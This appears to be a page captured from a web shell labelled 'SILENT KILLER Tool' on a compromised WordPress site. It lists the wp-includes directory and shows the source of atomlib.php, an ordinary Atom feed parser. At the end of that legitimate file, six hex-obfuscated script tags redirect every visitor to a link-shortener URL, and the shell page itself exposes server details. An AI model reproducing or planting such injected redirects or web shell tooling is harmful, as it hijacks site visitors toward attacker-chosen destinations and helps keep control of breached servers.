Current Path: > > home > branxxtp > keyclubpropertymanagement.com > wp-includes__63e5284
Operation : Linux premium107.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 Software : Apache Server IP : 198.54.126.246 | Your IP: 216.73.216.181 Domains : 1034 Domain(s) Permission : [ 0755 ]
| Name | Type | Size | Last Modified | Actions |
|---|---|---|---|---|
| ID3 | Directory | - | - | |
| IXR | Directory | - | - | |
| PHPMailer | Directory | - | - | |
| Requests | Directory | - | - | |
| SimplePie | Directory | - | - | |
| Text | Directory | - | - | |
| assets | Directory | - | - | |
| block-bindings | Directory | - | - | |
| block-patterns | Directory | - | - | |
| block-supports | Directory | - | - | |
| blocks | Directory | - | - | |
| certificates | Directory | - | - | |
| css | Directory | - | - | |
| customize | Directory | - | - | |
| fonts | Directory | - | - | |
| html-api | Directory | - | - | |
| images | Directory | - | - | |
| interactivity-api | Directory | - | - | |
| js | Directory | - | - | |
| l10n | Directory | - | - | |
| php-compat | Directory | - | - | |
| pomo | Directory | - | - | |
| rest-api | Directory | - | - | |
| sitemaps | Directory | - | - | |
| sodium_compat | Directory | - | - | |
| style-engine | Directory | - | - | |
| theme-compat | Directory | - | - | |
| widgets | Directory | - | - | |
| .htaccess | File | 2042 bytes | February 07 2026 02:49:06. | |
| 2index.php | File | 5361 bytes | November 13 2025 04:05:35. | |
| admin-bar.php | File | 38200 bytes | May 01 2025 00:24:22. | |
| admin.php | File | 5361 bytes | February 06 2026 03:17:44. | |
| atomlib.php | File | 13172 bytes | September 19 2024 06:50:16. | |
| author-template.php | File | 20045 bytes | May 15 2023 03:28:24. | |
| block-bindings.php | File | 6688 bytes | June 12 2024 22:14:14. | |
| block-editor.php | File | 29891 bytes | April 16 2025 05:29:33. | |
| block-i18n.json | File | 316 bytes | August 11 2021 18:38:02. | |
| block-patterns.php | File | 14307 bytes | April 16 2025 05:29:33. | |
| block-template-utils.php | File | 63001 bytes | April 16 2025 05:29:33. | |
| block-template.php | File | 16450 bytes | April 16 2025 05:29:33. | |
| blocks.php | File | 114145 bytes | July 16 2025 00:22:38. | |
| bookmark-template.php | File | 13862 bytes | April 16 2025 05:29:31. | |
| bookmark.php | File | 16521 bytes | March 23 2024 23:50:12. | |
| cache-compat.php | File | 7063 bytes | October 11 2022 03:52:12. | |
| cache.php | File | 14568 bytes | October 11 2022 03:52:12. | |
| canonical.php | File | 35617 bytes | August 23 2024 09:17:16. | |
| capabilities.php | File | 43812 bytes | October 15 2024 23:43:20. | |
| category-template.php | File | 58097 bytes | September 26 2023 09:57:12. | |
| category.php | File | 13923 bytes | April 16 2025 05:29:33. | |
| class-IXR.php | File | 3711 bytes | April 16 2025 05:29:33. | |
| class-avif-info.php | File | 30709 bytes | April 27 2024 00:32:14. | |
| class-feed.php | File | 539 bytes | October 01 2024 08:20:20. | |
| class-http.php | File | 367 bytes | June 17 2022 20:50:14. | |
| class-json.php | File | 43684 bytes | February 04 2023 00:05:20. | |
| class-oembed.php | File | 401 bytes | June 17 2022 20:50:14. | |
| class-phpass.php | File | 7865 bytes | September 18 2024 06:38:16. | |
| class-phpmailer.php | File | 664 bytes | July 21 2020 22:28:02. | |
| class-pop3.php | File | 22215 bytes | April 16 2025 05:29:34. | |
| class-requests.php | File | 3331 bytes | April 05 2023 22:42:26. | |
| class-simplepie.php | File | 1547 bytes | October 01 2024 08:20:20. | |
| class-smtp.php | File | 457 bytes | January 27 2021 00:15:58. | |
| class-snoopy.php | File | 37715 bytes | February 04 2023 00:05:20. | |
| class-walker-category-dropdown.php | File | 3563 bytes | September 14 2023 22:16:20. | |
| class-walker-category.php | File | 9571 bytes | September 08 2023 19:02:24. | |
| class-walker-comment.php | File | 15315 bytes | March 19 2024 01:16:14. | |
| class-walker-nav-menu.php | File | 13138 bytes | April 16 2025 05:29:36. | |
| class-walker-page-dropdown.php | File | 3804 bytes | September 14 2023 22:16:20. | |
| class-walker-page.php | File | 8706 bytes | September 14 2023 22:16:20. | |
| class-wp-admin-bar.php | File | 18968 bytes | July 18 2024 10:22:18. | |
| class-wp-ajax-response.php | File | 6360 bytes | September 13 2022 01:17:14. | |
| class-wp-application-passwords.php | File | 18193 bytes | April 16 2025 05:29:34. | |
| class-wp-block-bindings-registry.php | File | 9557 bytes | September 23 2024 22:05:16. | |
| class-wp-block-bindings-source.php | File | 4086 bytes | September 04 2024 02:03:16. | |
| class-wp-block-editor-context.php | File | 2444 bytes | September 13 2022 01:17:14. | |
| class-wp-block-list.php | File | 5851 bytes | November 02 2023 09:34:24. | |
| class-wp-block-metadata-registry.php | File | 12989 bytes | April 16 2025 05:29:33. | |
| class-wp-block-parser-block.php | File | 3649 bytes | June 27 2023 10:15:38. | |
| class-wp-block-parser-frame.php | File | 3111 bytes | September 20 2024 11:25:36. | |
| class-wp-block-parser.php | File | 12626 bytes | May 03 2024 05:39:16. | |
| class-wp-block-pattern-categories-registry.php | File | 6465 bytes | September 13 2022 01:17:14. | |
| class-wp-block-patterns-registry.php | File | 11877 bytes | September 27 2024 18:50:18. | |
| class-wp-block-styles-registry.php | File | 7497 bytes | April 16 2025 05:29:34. | |
| class-wp-block-supports.php | File | 6720 bytes | April 16 2025 05:29:33. | |
| class-wp-block-template.php | File | 3127 bytes | September 20 2024 11:37:12. | |
| class-wp-block-templates-registry.php | File | 8325 bytes | February 12 2025 00:35:26. | |
| class-wp-block-type-registry.php | File | 6107 bytes | October 12 2023 22:04:34. | |
| class-wp-block-type.php | File | 18359 bytes | May 02 2024 09:31:10. | |
| class-wp-block.php | File | 24135 bytes | April 16 2025 05:29:36. | |
| class-wp-classic-to-block-menu-converter.php | File | 5182 bytes | August 22 2023 03:21:20. | |
| class-wp-comment-query.php | File | 49489 bytes | June 22 2024 02:56:14. | |
| class-wp-comment.php | File | 10531 bytes | April 16 2025 05:29:36. | |
| class-wp-customize-control.php | File | 26945 bytes | April 16 2025 05:29:33. | |
| class-wp-customize-manager.php | File | 203687 bytes | April 16 2025 05:29:34. | |
| class-wp-customize-nav-menus.php | File | 58754 bytes | October 01 2025 00:40:57. | |
| class-wp-customize-panel.php | File | 11804 bytes | April 16 2025 05:29:33. | |
| class-wp-customize-section.php | File | 12303 bytes | October 14 2024 04:39:12. | |
| class-wp-customize-setting.php | File | 31056 bytes | April 16 2025 05:29:34. | |
| class-wp-customize-widgets.php | File | 73304 bytes | April 16 2025 05:29:33. | |
| class-wp-date-query.php | File | 36826 bytes | April 16 2025 05:29:33. | |
| class-wp-dependencies.php | File | 16233 bytes | August 26 2024 09:18:14. | |
| class-wp-dependency.php | File | 3721 bytes | November 26 2022 01:42:16. | |
| class-wp-duotone.php | File | 41877 bytes | June 14 2024 21:48:12. | |
| class-wp-editor.php | File | 73429 bytes | May 01 2025 00:24:22. | |
| class-wp-embed.php | File | 17025 bytes | April 16 2025 05:29:34. | |
| class-wp-error.php | File | 8596 bytes | February 22 2023 03:09:20. | |
| class-wp-exception.php | File | 1347 bytes | September 28 2024 04:58:14. | |
| class-wp-fatal-error-handler.php | File | 9244 bytes | October 22 2024 19:46:16. | |
| class-wp-feed-cache-transient.php | File | 4270 bytes | October 01 2024 08:20:20. | |
| class-wp-feed-cache.php | File | 969 bytes | October 01 2024 08:20:20. | |
| class-wp-hook.php | File | 17094 bytes | September 18 2023 22:11:18. | |
| class-wp-http-cookie.php | File | 8483 bytes | June 25 2023 02:47:24. | |
| class-wp-http-curl.php | File | 13635 bytes | September 22 2023 03:59:12. | |
| class-wp-http-encoding.php | File | 7783 bytes | June 23 2023 00:27:24. | |
| class-wp-http-ixr-client.php | File | 4595 bytes | September 13 2022 01:17:14. | |
| class-wp-http-proxy.php | File | 7074 bytes | June 23 2023 00:06:26. | |
| class-wp-http-requests-hooks.php | File | 3116 bytes | December 16 2022 08:02:18. | |
| class-wp-http-requests-response.php | File | 5494 bytes | October 11 2023 16:35:26. | |
| class-wp-http-response.php | File | 4071 bytes | September 13 2022 01:17:14. | |
| class-wp-http-streams.php | File | 16859 bytes | September 22 2023 03:59:12. | |
| class-wp-http.php | File | 42673 bytes | April 16 2025 05:29:33. | |
| class-wp-image-editor-gd.php | File | 21256 bytes | April 16 2025 05:29:34. | |
| class-wp-image-editor-imagick.php | File | 35829 bytes | April 16 2025 05:29:34. | |
| class-wp-image-editor.php | File | 18621 bytes | April 16 2025 05:29:34. | |
| class-wp-list-util.php | File | 8537 bytes | February 28 2024 09:08:16. | |
| class-wp-locale-switcher.php | File | 7870 bytes | April 16 2025 05:29:33. | |
| class-wp-locale.php | File | 17977 bytes | April 16 2025 05:29:36. | |
| class-wp-matchesmapregex.php | File | 2922 bytes | February 06 2024 11:55:14. | |
| class-wp-meta-query.php | File | 31625 bytes | April 23 2024 05:55:08. | |
| class-wp-metadata-lazyloader.php | File | 7927 bytes | May 11 2023 20:45:24. | |
| class-wp-navigation-fallback.php | File | 10305 bytes | October 06 2023 23:36:22. | |
| class-wp-network-query.php | File | 20951 bytes | June 22 2024 02:56:14. | |
| class-wp-network.php | File | 13390 bytes | September 14 2024 07:42:16. | |
| class-wp-object-cache.php | File | 18618 bytes | September 19 2024 21:42:16. | |
| class-wp-oembed-controller.php | File | 7999 bytes | March 06 2024 15:35:12. | |
| class-wp-oembed.php | File | 32700 bytes | July 16 2025 00:22:38. | |
| class-wp-paused-extensions-storage.php | File | 6205 bytes | September 04 2024 03:49:14. | |
| class-wp-phpmailer.php | File | 4896 bytes | April 16 2025 05:29:33. | |
| class-wp-plugin-dependencies.php | File | 26409 bytes | April 16 2025 05:29:36. | |
| class-wp-post-type.php | File | 31774 bytes | April 16 2025 05:29:34. | |
| class-wp-post.php | File | 7582 bytes | April 16 2025 05:29:33. | |
| class-wp-query.php | File | 159117 bytes | April 16 2025 05:29:36. | |
| class-wp-recovery-mode-cookie-service.php | File | 7971 bytes | October 04 2022 13:29:14. | |
| class-wp-recovery-mode-email-service.php | File | 12277 bytes | May 03 2023 01:15:22. | |
| class-wp-recovery-mode-key-service.php | File | 5978 bytes | April 16 2025 05:29:32. | |
| class-wp-recovery-mode-link-service.php | File | 4557 bytes | September 13 2022 01:17:14. | |
| class-wp-recovery-mode.php | File | 12547 bytes | April 16 2025 05:29:33. | |
| class-wp-rewrite.php | File | 64782 bytes | October 20 2024 09:24:18. | |
| class-wp-role.php | File | 3617 bytes | September 08 2023 19:02:24. | |
| class-wp-roles.php | File | 9680 bytes | September 04 2024 03:49:14. | |
| class-wp-script-modules.php | File | 20557 bytes | April 16 2025 05:29:36. | |
| class-wp-scripts.php | File | 29438 bytes | August 11 2024 08:30:14. | |
| class-wp-session-tokens.php | File | 8413 bytes | April 16 2025 05:29:31. | |
| class-wp-simplepie-file.php | File | 4502 bytes | October 01 2024 08:20:20. | |
| class-wp-simplepie-sanitize-kses.php | File | 3004 bytes | April 16 2025 05:29:33. | |
| class-wp-site-query.php | File | 32719 bytes | September 11 2024 21:38:20. | |
| class-wp-site.php | File | 8548 bytes | September 13 2022 01:17:14. | |
| class-wp-speculation-rules.php | File | 8621 bytes | April 16 2025 05:29:33. | |
| class-wp-styles.php | File | 12104 bytes | August 11 2024 08:30:14. | |
| class-wp-tax-query.php | File | 20649 bytes | February 17 2024 08:17:12. | |
| class-wp-taxonomy.php | File | 19653 bytes | April 16 2025 05:29:34. | |
| class-wp-term-query.php | File | 41963 bytes | November 06 2024 00:54:16. | |
| class-wp-term.php | File | 6392 bytes | September 13 2022 01:17:14. | |
| class-wp-text-diff-renderer-inline.php | File | 2073 bytes | February 15 2024 05:57:10. | |
| class-wp-text-diff-renderer-table.php | File | 19974 bytes | April 16 2025 05:29:33. | |
| class-wp-textdomain-registry.php | File | 11575 bytes | November 21 2024 00:05:16. | |
| class-wp-theme-json-data.php | File | 2903 bytes | June 04 2024 21:25:14. | |
| class-wp-theme-json-resolver.php | File | 36832 bytes | April 16 2025 05:29:33. | |
| class-wp-theme-json-schema.php | File | 8461 bytes | June 06 2024 17:32:16. | |
| class-wp-theme-json.php | File | 164639 bytes | April 16 2025 05:29:34. | |
| class-wp-theme.php | File | 66904 bytes | April 16 2025 05:29:34. | |
| class-wp-token-map.php | File | 29712 bytes | July 20 2024 09:14:16. | |
| class-wp-url-pattern-prefixer.php | File | 5896 bytes | April 16 2025 05:29:34. | |
| class-wp-user-meta-session-tokens.php | File | 4084 bytes | January 09 2019 15:34:50. | |
| class-wp-user-query.php | File | 44749 bytes | April 16 2025 05:29:33. | |
| class-wp-user-request.php | File | 3399 bytes | April 16 2025 05:29:36. | |
| class-wp-user.php | File | 24088 bytes | April 16 2025 05:29:33. | |
| class-wp-walker.php | File | 14416 bytes | July 26 2024 17:26:14. | |
| class-wp-widget-factory.php | File | 4441 bytes | September 13 2022 01:17:14. | |
| class-wp-widget.php | File | 19523 bytes | April 16 2025 05:29:34. | |
| class-wp-xmlrpc-server.php | File | 216538 bytes | April 16 2025 05:29:33. | |
| class-wp.php | File | 30421 bytes | April 16 2025 05:29:32. | |
| class-wpdb.php | File | 118284 bytes | April 16 2025 05:29:31. | |
| class.wp-dependencies.php | File | 373 bytes | September 20 2022 23:47:12. | |
| class.wp-scripts.php | File | 343 bytes | September 20 2022 23:47:12. | |
| class.wp-styles.php | File | 338 bytes | September 20 2022 23:47:12. | |
| comment-template.php | File | 104198 bytes | July 16 2025 00:22:38. | |
| comment.php | File | 132641 bytes | April 16 2025 05:29:34. | |
| compat.php | File | 17470 bytes | April 16 2025 05:29:36. | |
| cron.php | File | 43752 bytes | April 16 2025 05:29:34. | |
| date.php | File | 400 bytes | June 17 2022 20:50:14. | |
| default-constants.php | File | 12459 bytes | October 01 2024 09:28:16. | |
| default-filters.php | File | 37791 bytes | April 16 2025 05:29:36. | |
| default-widgets.php | File | 3389 bytes | April 16 2025 05:29:31. | |
| deprecated.php | File | 192658 bytes | April 16 2025 05:29:33. | |
| embed-template.php | File | 338 bytes | June 17 2022 20:50:14. | |
| embed.php | File | 39266 bytes | April 16 2025 05:29:34. | |
| error-protection.php | File | 5215 bytes | May 03 2023 01:15:22. | |
| feed-atom-comments.php | File | 6583 bytes | March 04 2024 23:11:10. | |
| feed-atom.php | File | 4200 bytes | April 16 2025 05:29:33. | |
| feed-rdf.php | File | 3747 bytes | January 29 2020 11:15:18. | |
| feed-rss.php | File | 2268 bytes | January 29 2020 11:15:18. | |
| feed-rss2-comments.php | File | 5215 bytes | March 04 2024 23:11:10. | |
| feed-rss2.php | File | 4878 bytes | January 29 2020 11:15:18. | |
| feed.php | File | 24505 bytes | November 12 2024 04:25:14. | |
| fonts.php | File | 10845 bytes | October 28 2024 07:27:10. | |
| formatting.php | File | 344015 bytes | July 16 2025 00:22:38. | |
| functions.php | File | 291649 bytes | April 16 2025 05:29:33. | |
| functions.wp-scripts.php | File | 15652 bytes | May 27 2024 06:21:14. | |
| functions.wp-styles.php | File | 9677 bytes | May 27 2024 06:21:14. | |
| general-template.php | File | 173592 bytes | April 16 2025 05:29:32. | |
| global-styles-and-settings.php | File | 22355 bytes | April 16 2025 05:29:34. | |
| http.php | File | 26406 bytes | October 28 2024 07:49:16. | |
| https-detection.php | File | 6951 bytes | April 16 2025 05:29:34. | |
| https-migration.php | File | 5835 bytes | July 11 2023 08:08:26. | |
| index.htm | File | 1104 bytes | January 26 2026 05:14:06. | |
| index.html | File | 1104 bytes | January 26 2026 05:14:06. | |
| kses.php | File | 75566 bytes | April 16 2025 05:29:36. | |
| l10n.php | File | 69624 bytes | April 16 2025 05:29:36. | |
| link-template.php | File | 157801 bytes | April 16 2025 05:29:34. | |
| load.php | File | 56440 bytes | April 16 2025 05:29:34. | |
| locale.php | File | 162 bytes | October 09 2019 02:49:04. | |
| media-template.php | File | 64154 bytes | April 16 2025 05:29:34. | |
| media.php | File | 221590 bytes | July 16 2025 00:22:38. | |
| meta.php | File | 66337 bytes | April 16 2025 05:29:34. | |
| ms-blogs.php | File | 26939 bytes | April 16 2025 05:29:34. | |
| ms-default-constants.php | File | 6015 bytes | June 14 2024 06:20:14. | |
| ms-default-filters.php | File | 7730 bytes | February 24 2023 11:53:20. | |
| ms-deprecated.php | File | 22853 bytes | April 13 2024 03:17:14. | |
| ms-files.php | File | 3838 bytes | May 01 2025 00:24:22. | |
| ms-functions.php | File | 92676 bytes | April 16 2025 05:29:33. | |
| ms-load.php | File | 20977 bytes | March 26 2024 02:49:18. | |
| ms-network.php | File | 4876 bytes | May 02 2023 20:56:24. | |
| ms-settings.php | File | 5291 bytes | April 16 2025 05:29:33. | |
| ms-site.php | File | 42414 bytes | April 16 2025 05:29:34. | |
| nav-menu-template.php | File | 27084 bytes | April 16 2025 05:29:36. | |
| nav-menu.php | File | 45467 bytes | August 06 2024 04:30:20. | |
| option.php | File | 104159 bytes | April 16 2025 05:29:33. | |
| pluggable-deprecated.php | File | 7418 bytes | April 16 2025 05:29:33. | |
| pluggable.php | File | 123794 bytes | April 16 2025 05:29:36. | |
| plugin.php | File | 35465 bytes | June 08 2023 17:24:22. | |
| post-formats.php | File | 8196 bytes | May 28 2024 01:59:16. | |
| post-template.php | File | 69742 bytes | April 16 2025 05:29:33. | |
| post-thumbnail-template.php | File | 11973 bytes | April 16 2025 05:29:33. | |
| post.php | File | 292806 bytes | April 16 2025 05:29:33. | |
| query.php | File | 38129 bytes | August 24 2023 18:31:16. | |
| registration-functions.php | File | 200 bytes | November 12 2020 21:47:08. | |
| registration.php | File | 200 bytes | November 12 2020 21:47:08. | |
| rest-api.php | File | 101351 bytes | April 16 2025 05:29:34. | |
| revision.php | File | 31835 bytes | April 16 2025 05:29:36. | |
| rewrite.php | File | 20635 bytes | September 19 2024 04:38:12. | |
| robots-template.php | File | 6279 bytes | April 07 2022 01:03:04. | |
| rss-functions.php | File | 255 bytes | November 17 2020 09:22:06. | |
| rss.php | File | 23113 bytes | September 19 2024 07:10:12. | |
| script-loader.php | File | 134356 bytes | May 01 2025 00:24:22. | |
| script-modules.php | File | 8806 bytes | October 14 2024 04:19:16. | |
| session.php | File | 258 bytes | February 06 2020 17:03:12. | |
| shortcodes.php | File | 25145 bytes | May 25 2024 12:34:12. | |
| sitemaps.php | File | 4332 bytes | May 16 2021 03:08:06. | |
| speculative-loading.php | File | 9652 bytes | April 16 2025 05:29:34. | |
| spl-autoload-compat.php | File | 441 bytes | November 12 2020 21:47:08. | |
| style-engine.php | File | 8657 bytes | May 03 2024 14:17:12. | |
| taxonomy.php | File | 177321 bytes | April 16 2025 05:29:33. | |
| template-canvas.php | File | 1623 bytes | October 01 2023 09:52:28. | |
| template-loader.php | File | 7130 bytes | May 26 2020 19:07:10. | |
| template.php | File | 25248 bytes | February 22 2024 05:56:08. | |
| theme-i18n.json | File | 1526 bytes | April 16 2025 05:29:34. | |
| theme-previews.php | File | 3926 bytes | December 08 2023 17:02:24. | |
| theme-templates.php | File | 7332 bytes | April 16 2025 05:29:33. | |
| theme.json | File | 8704 bytes | June 12 2024 15:41:14. | |
| theme.php | File | 135397 bytes | April 16 2025 05:29:33. | |
| update.php | File | 38597 bytes | April 16 2025 05:29:36. | |
| user.php | File | 176917 bytes | April 16 2025 05:29:36. | |
| vars.php | File | 7656 bytes | April 16 2025 05:29:34. | |
| version.php | File | 2184 bytes | October 01 2025 00:40:57. | |
| widgets.php | File | 71813 bytes | April 16 2025 05:29:34. | |
| wp-db.php | File | 445 bytes | July 22 2022 08:15:12. | |
| wp-diff.php | File | 1893 bytes | April 16 2025 05:29:33. |
<?php
/**
* Atom Syndication Format PHP Library
*
* @package AtomLib
* @link http://code.google.com/p/phpatomlib/
*
* @author Elias Torres <elias@torrez.us>
* @version 0.4
* @since 2.3.0
*/
/**
* Structure that store common Atom Feed Properties
*
* @package AtomLib
*/
class AtomFeed {
/**
* Stores Links
* @var array
* @access public
*/
var $links = array();
/**
* Stores Categories
* @var array
* @access public
*/
var $categories = array();
/**
* Stores Entries
*
* @var array
* @access public
*/
var $entries = array();
}
/**
* Structure that store Atom Entry Properties
*
* @package AtomLib
*/
class AtomEntry {
/**
* Stores Links
* @var array
* @access public
*/
var $links = array();
/**
* Stores Categories
* @var array
* @access public
*/
var $categories = array();
}
/**
* AtomLib Atom Parser API
*
* @package AtomLib
*/
class AtomParser {
var $NS = 'http://www.w3.org/2005/Atom';
var $ATOM_CONTENT_ELEMENTS = array('content','summary','title','subtitle','rights');
var $ATOM_SIMPLE_ELEMENTS = array('id','updated','published','draft');
var $debug = false;
var $depth = 0;
var $indent = 2;
var $in_content;
var $ns_contexts = array();
var $ns_decls = array();
var $content_ns_decls = array();
var $content_ns_contexts = array();
var $is_xhtml = false;
var $is_html = false;
var $is_text = true;
var $skipped_div = false;
var $FILE = "php://input";
var $feed;
var $current;
var $map_attrs_func;
var $map_xmlns_func;
var $error;
var $content;
/**
* PHP5 constructor.
*/
function __construct() {
$this->feed = new AtomFeed();
$this->current = null;
$this->map_attrs_func = array( __CLASS__, 'map_attrs' );
$this->map_xmlns_func = array( __CLASS__, 'map_xmlns' );
}
/**
* PHP4 constructor.
*/
public function AtomParser() {
self::__construct();
}
/**
* Map attributes to key="val"
*
* @param string $k Key
* @param string $v Value
* @return string
*/
public static function map_attrs($k, $v) {
return "$k=\"$v\"";
}
/**
* Map XML namespace to string.
*
* @param indexish $p XML Namespace element index
* @param array $n Two-element array pair. [ 0 => {namespace}, 1 => {url} ]
* @return string 'xmlns="{url}"' or 'xmlns:{namespace}="{url}"'
*/
public static function map_xmlns($p, $n) {
$xd = "xmlns";
if( 0 < strlen($n[0]) ) {
$xd .= ":{$n[0]}";
}
return "{$xd}=\"{$n[1]}\"";
}
function _p($msg) {
if($this->debug) {
print str_repeat(" ", $this->depth * $this->indent) . $msg ."\n";
}
}
function error_handler($log_level, $log_text, $error_file, $error_line) {
$this->error = $log_text;
}
function parse() {
set_error_handler(array(&$this, 'error_handler'));
array_unshift($this->ns_contexts, array());
if ( ! function_exists( 'xml_parser_create_ns' ) ) {
trigger_error( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) );
return false;
}
$parser = xml_parser_create_ns();
xml_set_element_handler($parser, array($this, "start_element"), array($this, "end_element"));
xml_parser_set_option($parser,XML_OPTION_CASE_FOLDING,0);
xml_parser_set_option($parser,XML_OPTION_SKIP_WHITE,0);
xml_set_character_data_handler($parser, array($this, "cdata"));
xml_set_default_handler($parser, array($this, "_default"));
xml_set_start_namespace_decl_handler($parser, array($this, "start_ns"));
xml_set_end_namespace_decl_handler($parser, array($this, "end_ns"));
$this->content = '';
$ret = true;
$fp = fopen($this->FILE, "r");
while ($data = fread($fp, 4096)) {
if($this->debug) $this->content .= $data;
if(!xml_parse($parser, $data, feof($fp))) {
/* translators: 1: Error message, 2: Line number. */
trigger_error(sprintf(__('XML Error: %1$s at line %2$s')."\n",
xml_error_string(xml_get_error_code($parser)),
xml_get_current_line_number($parser)));
$ret = false;
break;
}
}
fclose($fp);
xml_parser_free($parser);
unset($parser);
restore_error_handler();
return $ret;
}
function start_element($parser, $name, $attrs) {
$name_parts = explode(":", $name);
$tag = array_pop($name_parts);
switch($name) {
case $this->NS . ':feed':
$this->current = $this->feed;
break;
case $this->NS . ':entry':
$this->current = new AtomEntry();
break;
};
$this->_p("start_element('$name')");
#$this->_p(print_r($this->ns_contexts,true));
#$this->_p('current(' . $this->current . ')');
array_unshift($this->ns_contexts, $this->ns_decls);
$this->depth++;
if(!empty($this->in_content)) {
$this->content_ns_decls = array();
if($this->is_html || $this->is_text)
trigger_error("Invalid content in element found. Content must not be of type text or html if it contains markup.");
$attrs_prefix = array();
// resolve prefixes for attributes
foreach($attrs as $key => $value) {
$with_prefix = $this->ns_to_prefix($key, true);
$attrs_prefix[$with_prefix[1]] = $this->xml_escape($value);
}
$attrs_str = join(' ', array_map($this->map_attrs_func, array_keys($attrs_prefix), array_values($attrs_prefix)));
if(strlen($attrs_str) > 0) {
$attrs_str = " " . $attrs_str;
}
$with_prefix = $this->ns_to_prefix($name);
if(!$this->is_declared_content_ns($with_prefix[0])) {
array_push($this->content_ns_decls, $with_prefix[0]);
}
$xmlns_str = '';
if(count($this->content_ns_decls) > 0) {
array_unshift($this->content_ns_contexts, $this->content_ns_decls);
$xmlns_str .= join(' ', array_map($this->map_xmlns_func, array_keys($this->content_ns_contexts[0]), array_values($this->content_ns_contexts[0])));
if(strlen($xmlns_str) > 0) {
$xmlns_str = " " . $xmlns_str;
}
}
array_push($this->in_content, array($tag, $this->depth, "<". $with_prefix[1] ."{$xmlns_str}{$attrs_str}" . ">"));
} else if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS) || in_array($tag, $this->ATOM_SIMPLE_ELEMENTS)) {
$this->in_content = array();
$this->is_xhtml = $attrs['type'] == 'xhtml';
$this->is_html = $attrs['type'] == 'html' || $attrs['type'] == 'text/html';
$this->is_text = !in_array('type',array_keys($attrs)) || $attrs['type'] == 'text';
$type = $this->is_xhtml ? 'XHTML' : ($this->is_html ? 'HTML' : ($this->is_text ? 'TEXT' : $attrs['type']));
if(in_array('src',array_keys($attrs))) {
$this->current->$tag = $attrs;
} else {
array_push($this->in_content, array($tag,$this->depth, $type));
}
} else if($tag == 'link') {
array_push($this->current->links, $attrs);
} else if($tag == 'category') {
array_push($this->current->categories, $attrs);
}
$this->ns_decls = array();
}
function end_element($parser, $name) {
$name_parts = explode(":", $name);
$tag = array_pop($name_parts);
$ccount = count($this->in_content);
# if we are *in* content, then let's proceed to serialize it
if(!empty($this->in_content)) {
# if we are ending the original content element
# then let's finalize the content
if($this->in_content[0][0] == $tag &&
$this->in_content[0][1] == $this->depth) {
$origtype = $this->in_content[0][2];
array_shift($this->in_content);
$newcontent = array();
foreach($this->in_content as $c) {
if(count($c) == 3) {
array_push($newcontent, $c[2]);
} else {
if($this->is_xhtml || $this->is_text) {
array_push($newcontent, $this->xml_escape($c));
} else {
array_push($newcontent, $c);
}
}
}
if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS)) {
$this->current->$tag = array($origtype, join('',$newcontent));
} else {
$this->current->$tag = join('',$newcontent);
}
$this->in_content = array();
} else if($this->in_content[$ccount-1][0] == $tag &&
$this->in_content[$ccount-1][1] == $this->depth) {
$this->in_content[$ccount-1][2] = substr($this->in_content[$ccount-1][2],0,-1) . "/>";
} else {
# else, just finalize the current element's content
$endtag = $this->ns_to_prefix($name);
array_push($this->in_content, array($tag, $this->depth, "</$endtag[1]>"));
}
}
array_shift($this->ns_contexts);
$this->depth--;
if($name == ($this->NS . ':entry')) {
array_push($this->feed->entries, $this->current);
$this->current = null;
}
$this->_p("end_element('$name')");
}
function start_ns($parser, $prefix, $uri) {
$this->_p("starting: " . $prefix . ":" . $uri);
array_push($this->ns_decls, array($prefix,$uri));
}
function end_ns($parser, $prefix) {
$this->_p("ending: #" . $prefix . "#");
}
function cdata($parser, $data) {
$this->_p("data: #" . str_replace(array("\n"), array("\\n"), trim($data)) . "#");
if(!empty($this->in_content)) {
array_push($this->in_content, $data);
}
}
function _default($parser, $data) {
# when does this gets called?
}
function ns_to_prefix($qname, $attr=false) {
# split 'http://www.w3.org/1999/xhtml:div' into ('http','//www.w3.org/1999/xhtml','div')
$components = explode(":", $qname);
# grab the last one (e.g 'div')
$name = array_pop($components);
if(!empty($components)) {
# re-join back the namespace component
$ns = join(":",$components);
foreach($this->ns_contexts as $context) {
foreach($context as $mapping) {
if($mapping[1] == $ns && strlen($mapping[0]) > 0) {
return array($mapping, "$mapping[0]:$name");
}
}
}
}
if($attr) {
return array(null, $name);
} else {
foreach($this->ns_contexts as $context) {
foreach($context as $mapping) {
if(strlen($mapping[0]) == 0) {
return array($mapping, $name);
}
}
}
}
}
function is_declared_content_ns($new_mapping) {
foreach($this->content_ns_contexts as $context) {
foreach($context as $mapping) {
if($new_mapping == $mapping) {
return true;
}
}
}
return false;
}
function xml_escape($content)
{
return str_replace(array('&','"',"'",'<','>'),
array('&','"',''','<','>'),
$content );
}
}
ob_start();
?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
SILENT KILLER Tool